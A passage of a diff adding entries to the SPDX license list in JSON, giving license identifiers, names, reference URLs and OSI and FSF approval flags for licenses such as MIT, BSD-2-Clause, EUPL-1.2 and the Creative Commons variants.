+ "licenseId": "GPL-3.0-with-GCC-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gcc-exception-3.1.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-1-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-1-Clause.json",
+ "referenceNumber": 349,
+ "name": "BSD 1-Clause License",
+ "licenseId": "BSD-1-Clause",
+ "seeAlso": [
+ "https://svnweb.freebsd.org/base/head/include/ifaddrs.h?revision\u003d326823"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NTP-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NTP-0.json",
+ "referenceNumber": 350,
+ "name": "NTP No Attribution",
+ "licenseId": "NTP-0",
+ "seeAlso": [
+ "https://github.com/tytso/e2fsprogs/blob/master/lib/et/et_name.c"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SugarCRM-1.1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SugarCRM-1.1.3.json",
+ "referenceNumber": 351,
+ "name": "SugarCRM Public License v1.1.3",
+ "licenseId": "SugarCRM-1.1.3",
+ "seeAlso": [
+ "http://www.sugarcrm.com/crm/SPL"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT.json",
+ "referenceNumber": 352,
+ "name": "MIT License",
+ "licenseId": "MIT",
+ "seeAlso": [
+ "https://opensource.org/licenses/MIT"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.1-RFN.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.1-RFN.json",
+ "referenceNumber": 353,
+ "name": "SIL Open Font License 1.1 with Reserved Font Name",
+ "licenseId": "OFL-1.1-RFN",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL_web",
+ "https://opensource.org/licenses/OFL-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Watcom-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Watcom-1.0.json",
+ "referenceNumber": 354,
+ "name": "Sybase Open Watcom Public License 1.0",
+ "licenseId": "Watcom-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Watcom-1.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-SA-2.0-FR.json",
+ "referenceNumber": 355,
+ "name": "Creative Commons Attribution-NonCommercial-ShareAlike 2.0 France",
+ "licenseId": "CC-BY-NC-SA-2.0-FR",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-sa/2.0/fr/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/ODbL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ODbL-1.0.json",
+ "referenceNumber": 356,
+ "name": "Open Data Commons Open Database License v1.0",
+ "licenseId": "ODbL-1.0",
+ "seeAlso": [
+ "http://www.opendatacommons.org/licenses/odbl/1.0/",
+ "https://opendatacommons.org/licenses/odbl/1-0/"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/FSFULLR.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/FSFULLR.json",
+ "referenceNumber": 357,
+ "name": "FSF Unlimited License (with License Retention)",
+ "licenseId": "FSFULLR",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/FSF_Unlimited_License#License_Retention_Variant"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.3.json",
+ "referenceNumber": 358,
+ "name": "Open LDAP Public License v1.3",
+ "licenseId": "OLDAP-1.3",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003de5f8117f0ce088d0bd7a8e18ddf37eaa40eb09b1"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/SSH-OpenSSH.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SSH-OpenSSH.json",
+ "referenceNumber": 359,
+ "name": "SSH OpenSSH license",
+ "licenseId": "SSH-OpenSSH",
+ "seeAlso": [
+ "https://github.com/openssh/openssh-portable/blob/1b11ea7c58cd5c59838b5fa574cd456d6047b2d4/LICENCE#L10"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause.json",
+ "referenceNumber": 360,
+ "name": "BSD 2-Clause \"Simplified\" License",
+ "licenseId": "BSD-2-Clause",
+ "seeAlso": [
+ "https://opensource.org/licenses/BSD-2-Clause"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND.json",
+ "referenceNumber": 361,
+ "name": "Historical Permission Notice and Disclaimer",
+ "licenseId": "HPND",
+ "seeAlso": [
+ "https://opensource.org/licenses/HPND"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Zimbra-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Zimbra-1.3.json",
+ "referenceNumber": 362,
+ "name": "Zimbra Public License v1.3",
+ "licenseId": "Zimbra-1.3",
+ "seeAlso": [
+ "http://web.archive.org/web/20100302225219/http://www.zimbra.com/license/zimbra-public-license-1-3.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Borceux.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Borceux.json",
+ "referenceNumber": 363,
+ "name": "Borceux license",
+ "licenseId": "Borceux",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Borceux"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-1.1.json",
+ "referenceNumber": 364,
+ "name": "Open LDAP Public License v1.1",
+ "licenseId": "OLDAP-1.1",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d806557a5ad59804ef3a44d5abfbe91d706b0791f"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OFL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OFL-1.0.json",
+ "referenceNumber": 365,
+ "name": "SIL Open Font License 1.0",
+ "licenseId": "OFL-1.0",
+ "seeAlso": [
+ "http://scripts.sil.org/cms/scripts/page.php?item_id\u003dOFL10_web"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NASA-1.3.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NASA-1.3.json",
+ "referenceNumber": 366,
+ "name": "NASA Open Source Agreement 1.3",
+ "licenseId": "NASA-1.3",
+ "seeAlso": [
+ "http://ti.arc.nasa.gov/opensource/nosa/",
+ "https://opensource.org/licenses/NASA-1.3"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/VOSTROM.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/VOSTROM.json",
+ "referenceNumber": 367,
+ "name": "VOSTROM Public License for Open Source",
+ "licenseId": "VOSTROM",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/VOSTROM"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-0.json",
+ "referenceNumber": 368,
+ "name": "MIT No Attribution",
+ "licenseId": "MIT-0",
+ "seeAlso": [
+ "https://github.com/aws/mit-0",
+ "https://romanrm.net/mit-zero",
+ "https://github.com/awsdocs/aws-cloud9-user-guide/blob/master/LICENSE-SAMPLECODE"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/ISC.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/ISC.json",
+ "referenceNumber": 369,
+ "name": "ISC License",
+ "licenseId": "ISC",
+ "seeAlso": [
+ "https://www.isc.org/licenses/",
+ "https://www.isc.org/downloads/software-support-policy/isc-license/",
+ "https://opensource.org/licenses/ISC"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Unicode-DFS-2016.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Unicode-DFS-2016.json",
+ "referenceNumber": 370,
+ "name": "Unicode License Agreement - Data Files and Software (2016)",
+ "licenseId": "Unicode-DFS-2016",
+ "seeAlso": [
+ "http://www.unicode.org/copyright.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BlueOak-1.0.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BlueOak-1.0.0.json",
+ "referenceNumber": 371,
+ "name": "Blue Oak Model License 1.0.0",
+ "licenseId": "BlueOak-1.0.0",
+ "seeAlso": [
+ "https://blueoakcouncil.org/license/1.0.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LiLiQ-Rplus-1.1.json",
+ "referenceNumber": 372,
+ "name": "Licence Libre du Québec – Réciprocité forte version 1.1",
+ "licenseId": "LiLiQ-Rplus-1.1",
+ "seeAlso": [
+ "https://www.forge.gouv.qc.ca/participez/licence-logicielle/licence-libre-du-quebec-liliq-en-francais/licence-libre-du-quebec-reciprocite-forte-liliq-r-v1-1/",
+ "http://opensource.org/licenses/LiLiQ-Rplus-1.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NOSL.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NOSL.json",
+ "referenceNumber": 373,
+ "name": "Netizen Open Source License",
+ "licenseId": "NOSL",
+ "seeAlso": [
+ "http://bits.netizen.com.au/licenses/NOSL/nosl.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/SMLNJ.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/SMLNJ.json",
+ "referenceNumber": 374,
+ "name": "Standard ML of New Jersey License",
+ "licenseId": "SMLNJ",
+ "seeAlso": [
+ "https://www.smlnj.org/license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0+.json",
+ "referenceNumber": 375,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/CPAL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CPAL-1.0.json",
+ "referenceNumber": 376,
+ "name": "Common Public Attribution License 1.0",
+ "licenseId": "CPAL-1.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/CPAL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/PSF-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PSF-2.0.json",
+ "referenceNumber": 377,
+ "name": "Python Software Foundation License 2.0",
+ "licenseId": "PSF-2.0",
+ "seeAlso": [
+ "https://opensource.org/licenses/Python-2.0"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/RPL-1.5.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/RPL-1.5.json",
+ "referenceNumber": 378,
+ "name": "Reciprocal Public License 1.5",
+ "licenseId": "RPL-1.5",
+ "seeAlso": [
+ "https://opensource.org/licenses/RPL-1.5"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/BSD-2-Clause-FreeBSD.json",
+ "referenceNumber": 379,
+ "name": "BSD 2-Clause FreeBSD License",
+ "licenseId": "BSD-2-Clause-FreeBSD",
+ "seeAlso": [
+ "http://www.freebsd.org/copyright/freebsd-license.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-Modern-Variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-Modern-Variant.json",
+ "referenceNumber": 380,
+ "name": "MIT License Modern Variant",
+ "licenseId": "MIT-Modern-Variant",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing:MIT#Modern_Variants",
+ "https://ptolemy.berkeley.edu/copyright.htm",
+ "https://pirlwww.lpl.arizona.edu/resources/guide/software/PerlTk/Tixlic.html"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Nokia.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Nokia.json",
+ "referenceNumber": 381,
+ "name": "Nokia Open Source License",
+ "licenseId": "Nokia",
+ "seeAlso": [
+ "https://opensource.org/licenses/nokia"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.1-no-invariants-only.json",
+ "referenceNumber": 382,
+ "name": "GNU Free Documentation License v1.1 only - no invariants",
+ "licenseId": "GFDL-1.1-no-invariants-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.1.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/PDDL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/PDDL-1.0.json",
+ "referenceNumber": 383,
+ "name": "Open Data Commons Public Domain Dedication \u0026 License 1.0",
+ "licenseId": "PDDL-1.0",
+ "seeAlso": [
+ "http://opendatacommons.org/licenses/pddl/1.0/",
+ "https://opendatacommons.org/licenses/pddl/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.0.json",
+ "referenceNumber": 384,
+ "name": "European Union Public License 1.0",
+ "licenseId": "EUPL-1.0",
+ "seeAlso": [
+ "http://ec.europa.eu/idabc/en/document/7330.html",
+ "http://ec.europa.eu/idabc/servlets/Doc027f.pdf?id\u003d31096"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CDDL-1.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CDDL-1.1.json",
+ "referenceNumber": 385,
+ "name": "Common Development and Distribution License 1.1",
+ "licenseId": "CDDL-1.1",
+ "seeAlso": [
+ "http://glassfish.java.net/public/CDDL+GPL_1_1.html",
+ "https://javaee.github.io/glassfish/LICENSE"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.3-only.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.3-only.json",
+ "referenceNumber": 386,
+ "name": "GNU Free Documentation License v1.3 only",
+ "licenseId": "GFDL-1.3-only",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/fdl-1.3.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OLDAP-2.6.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OLDAP-2.6.json",
+ "referenceNumber": 387,
+ "name": "Open LDAP Public License v2.6",
+ "licenseId": "OLDAP-2.6",
+ "seeAlso": [
+ "http://www.openldap.org/devel/gitweb.cgi?p\u003dopenldap.git;a\u003dblob;f\u003dLICENSE;hb\u003d1cae062821881f41b73012ba816434897abf4205"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/JSON.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/JSON.json",
+ "referenceNumber": 388,
+ "name": "JSON License",
+ "licenseId": "JSON",
+ "seeAlso": [
+ "http://www.json.org/license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-3.0-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-3.0-or-later.json",
+ "referenceNumber": 389,
+ "name": "GNU Lesser General Public License v3.0 or later",
+ "licenseId": "LGPL-3.0-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/lgpl-3.0-standalone.html",
+ "https://opensource.org/licenses/LGPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-3.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-3.0.json",
+ "referenceNumber": 390,
+ "name": "GNU General Public License v3.0 only",
+ "licenseId": "GPL-3.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-3.0-standalone.html",
+ "https://opensource.org/licenses/GPL-3.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/Fair.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Fair.json",
+ "referenceNumber": 391,
+ "name": "Fair License",
+ "licenseId": "Fair",
+ "seeAlso": [
+ "http://fairlicense.org/",
+ "https://opensource.org/licenses/Fair"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-font-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-font-exception.json",
+ "referenceNumber": 392,
+ "name": "GNU General Public License v2.0 w/Font exception",
+ "licenseId": "GPL-2.0-with-font-exception",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/gpl-faq.html#FontException"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/OSL-2.1.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OSL-2.1.json",
+ "referenceNumber": 393,
+ "name": "Open Software License 2.1",
+ "licenseId": "OSL-2.1",
+ "seeAlso": [
+ "http://web.archive.org/web/20050212003940/http://www.rosenlaw.com/osl21.htm",
+ "https://opensource.org/licenses/OSL-2.1"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/LPPL-1.3a.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/LPPL-1.3a.json",
+ "referenceNumber": 394,
+ "name": "LaTeX Project Public License v1.3a",
+ "licenseId": "LPPL-1.3a",
+ "seeAlso": [
+ "http://www.latex-project.org/lppl/lppl-1-3a.txt"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/NAIST-2003.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NAIST-2003.json",
+ "referenceNumber": 395,
+ "name": "Nara Institute of Science and Technology License (2003)",
+ "licenseId": "NAIST-2003",
+ "seeAlso": [
+ "https://enterprise.dejacode.com/licenses/public/naist-2003/#license-text",
+ "https://github.com/nodejs/node/blob/4a19cc8947b1bba2b2d27816ec3d0edf9b28e503/LICENSE#L343"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-ND-4.0.json",
+ "referenceNumber": 396,
+ "name": "Creative Commons Attribution Non Commercial No Derivatives 4.0 International",
+ "licenseId": "CC-BY-NC-ND-4.0",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CC-BY-NC-3.0-DE.json",
+ "referenceNumber": 397,
+ "name": "Creative Commons Attribution Non Commercial 3.0 Germany",
+ "licenseId": "CC-BY-NC-3.0-DE",
+ "seeAlso": [
+ "https://creativecommons.org/licenses/by-nc/3.0/de/legalcode"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/LGPL-2.1+.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/LGPL-2.1+.json",
+ "referenceNumber": 398,
+ "name": "GNU Library General Public License v2.1 or later",
+ "licenseId": "LGPL-2.1+",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/lgpl-2.1-standalone.html",
+ "https://opensource.org/licenses/LGPL-2.1"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/OPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/OPL-1.0.json",
+ "referenceNumber": 399,
+ "name": "Open Public License v1.0",
+ "licenseId": "OPL-1.0",
+ "seeAlso": [
+ "http://old.koalateam.com/jackaroo/OPL_1_0.TXT",
+ "https://fedoraproject.org/wiki/Licensing/Open_Public_License"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/HPND-sell-variant.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/HPND-sell-variant.json",
+ "referenceNumber": 400,
+ "name": "Historical Permission Notice and Disclaimer - sell variant",
+ "licenseId": "HPND-sell-variant",
+ "seeAlso": [
+ "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/sunrpc/auth_gss/gss_generic_token.c?h\u003dv4.19"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/QPL-1.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/QPL-1.0.json",
+ "referenceNumber": 401,
+ "name": "Q Public License 1.0",
+ "licenseId": "QPL-1.0",
+ "seeAlso": [
+ "http://doc.qt.nokia.com/3.3/license.html",
+ "https://opensource.org/licenses/QPL-1.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/EUPL-1.2.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EUPL-1.2.json",
+ "referenceNumber": 402,
+ "name": "European Union Public License 1.2",
+ "licenseId": "EUPL-1.2",
+ "seeAlso": [
+ "https://joinup.ec.europa.eu/page/eupl-text-11-12",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/eupl_v1.2_en.pdf",
+ "https://joinup.ec.europa.eu/sites/default/files/custom-page/attachment/2020-03/EUPL-1.2%20EN.txt",
+ "https://joinup.ec.europa.eu/sites/default/files/inline-files/EUPL%20v1_2%20EN(1).txt",
+ "http://eur-lex.europa.eu/legal-content/EN/TXT/HTML/?uri\u003dCELEX:32017D0863",
+ "https://opensource.org/licenses/EUPL-1.2"
+ ],
+ "isOsiApproved": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/GFDL-1.2-no-invariants-or-later.json",
+ "referenceNumber": 403,
+ "name": "GNU Free Documentation License v1.2 or later - no invariants",
+ "licenseId": "GFDL-1.2-no-invariants-or-later",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/old-licenses/fdl-1.2.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/eCos-2.0.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/eCos-2.0.json",
+ "referenceNumber": 404,
+ "name": "eCos license version 2.0",
+ "licenseId": "eCos-2.0",
+ "seeAlso": [
+ "https://www.gnu.org/licenses/ecos-license.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/NCGL-UK-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/NCGL-UK-2.0.json",
+ "referenceNumber": 405,
+ "name": "Non-Commercial Government Licence",
+ "licenseId": "NCGL-UK-2.0",
+ "seeAlso": [
+ "http://www.nationalarchives.gov.uk/doc/non-commercial-government-licence/version/2/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/Beerware.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/Beerware.json",
+ "referenceNumber": 406,
+ "name": "Beerware License",
+ "licenseId": "Beerware",
+ "seeAlso": [
+ "https://fedoraproject.org/wiki/Licensing/Beerware",
+ "https://people.freebsd.org/~phk/"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/BSD-3-Clause-Open-MPI.json",
+ "referenceNumber": 407,
+ "name": "BSD 3-Clause Open MPI variant",
+ "licenseId": "BSD-3-Clause-Open-MPI",
+ "seeAlso": [
+ "https://www.open-mpi.org/community/license.php",
+ "http://www.netlib.org/lapack/LICENSE.txt"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-bison-exception.json",
+ "referenceNumber": 408,
+ "name": "GNU General Public License v2.0 w/Bison exception",
+ "licenseId": "GPL-2.0-with-bison-exception",
+ "seeAlso": [
+ "http://git.savannah.gnu.org/cgit/bison.git/tree/data/yacc.c?id\u003d193d7c7054ba7197b0789e14965b739162319b5e#n141"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/CECILL-B.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/CECILL-B.json",
+ "referenceNumber": 409,
+ "name": "CeCILL-B Free Software License Agreement",
+ "licenseId": "CECILL-B",
+ "seeAlso": [
+ "http://www.cecill.info/licences/Licence_CeCILL-B_V1-en.html"
+ ],
+ "isOsiApproved": false,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.html",
+ "isDeprecatedLicenseId": true,
+ "detailsUrl": "https://spdx.org/licenses/GPL-2.0-with-autoconf-exception.json",
+ "referenceNumber": 410,
+ "name": "GNU General Public License v2.0 w/Autoconf exception",
+ "licenseId": "GPL-2.0-with-autoconf-exception",
+ "seeAlso": [
+ "http://ac-archive.sourceforge.net/doc/copyright.html"
+ ],
+ "isOsiApproved": false
+ },
+ {
+ "reference": "https://spdx.org/licenses/EPL-2.0.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/EPL-2.0.json",
+ "referenceNumber": 411,
+ "name": "Eclipse Public License 2.0",
+ "licenseId": "EPL-2.0",
+ "seeAlso": [
+ "https://www.eclipse.org/legal/epl-2.0",
+ "https://www.opensource.org/licenses/EPL-2.0"
+ ],
+ "isOsiApproved": true,
+ "isFsfLibre": true
+ },
+ {
+ "reference": "https://spdx.org/licenses/MIT-feh.html",
+ "isDeprecatedLicenseId": false,
+ "detailsUrl": "https://spdx.org/licenses/MIT-feh.json",
+ "referenceNumber": 412,
+ "name": "feh License",
